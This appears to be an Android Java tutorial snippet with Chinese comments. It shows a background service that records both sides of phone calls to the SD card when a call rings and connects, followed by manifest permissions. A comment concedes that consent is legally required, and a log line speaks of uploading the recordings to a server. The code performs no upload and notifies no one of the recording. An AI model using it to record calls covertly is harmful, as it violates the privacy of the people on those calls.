package com.example.test;
import java.io.IOException;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
public class PhoneLinstenService extends Service {
//定义一个系统的电话状态的管理者
private TelephonyManager tm;
@Override
public IBinder onBind(Intent intent) {
return null;
}
@Override
public void onCreate() {
tm=(TelephonyManager) this.getSystemService(Context.TELEPHONY_SERVICE);
tm.listen(new MyPhoneListener(), PhoneStateListener.LISTEN_CALL_STATE);
System.out.println("服务被创建了");
super.onCreate();
}
private MediaRecorder recorder;
private class MyPhoneListener extends PhoneStateListener{
@Override
public void onSignalStrengthChanged(int asu) {
super.onSignalStrengthChanged(asu);
}
@Override
public void onCallStateChanged(int state, String incomingNumber) {
switch (state) {
case TelephonyManager.CALL_STATE_IDLE://呼叫状态空闲
System.out.println("结束录音,上传数据到服务器");
if(recorder!=null){
recorder.stop();
recorder.release();
recorder=null;
}
break;
case TelephonyManager.CALL_STATE_RINGING://响铃状态
System.out.println("响铃状态");
recorder=new MediaRecorder();
//麦克风获取音源 只有自己的声音
// recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
//对方和自己的声音 索爱 索尼 国产的手机可以 因为 欧洲和美国法律 只有对方同意才可以录
recorder.setAudioSource(MediaRecorder.AudioSource.VOICE_CALL);
recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
String s="/sdcard/"+System.currentTimeMillis()+".3gp";
recorder.setOutputFile(s);
System.out.println(s);
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
try {
recorder.prepare();
} catch (IllegalStateException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
break;
case TelephonyManager.CALL_STATE_OFFHOOK://接通了电话接触了键盘的锁定
System.out.println("开启一个录音机,开始录音");
if(recorder!=null)
recorder.start();
break;
default:
break;
}
super.onCallStateChanged(state, incomingNumber);
}
@Override
public void onDataActivity(int direction) {
super.onDataActivity(direction);
}
}
@Override
public void onDestroy() {
System.out.println("服务被销毁了");
super.onDestroy();
}
}
<service android:name="com.example.test.PhoneLinstenService"></service>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
开启服务
Intent intent =new Intent(this,PhoneLinstenService.class);
stopService(intent);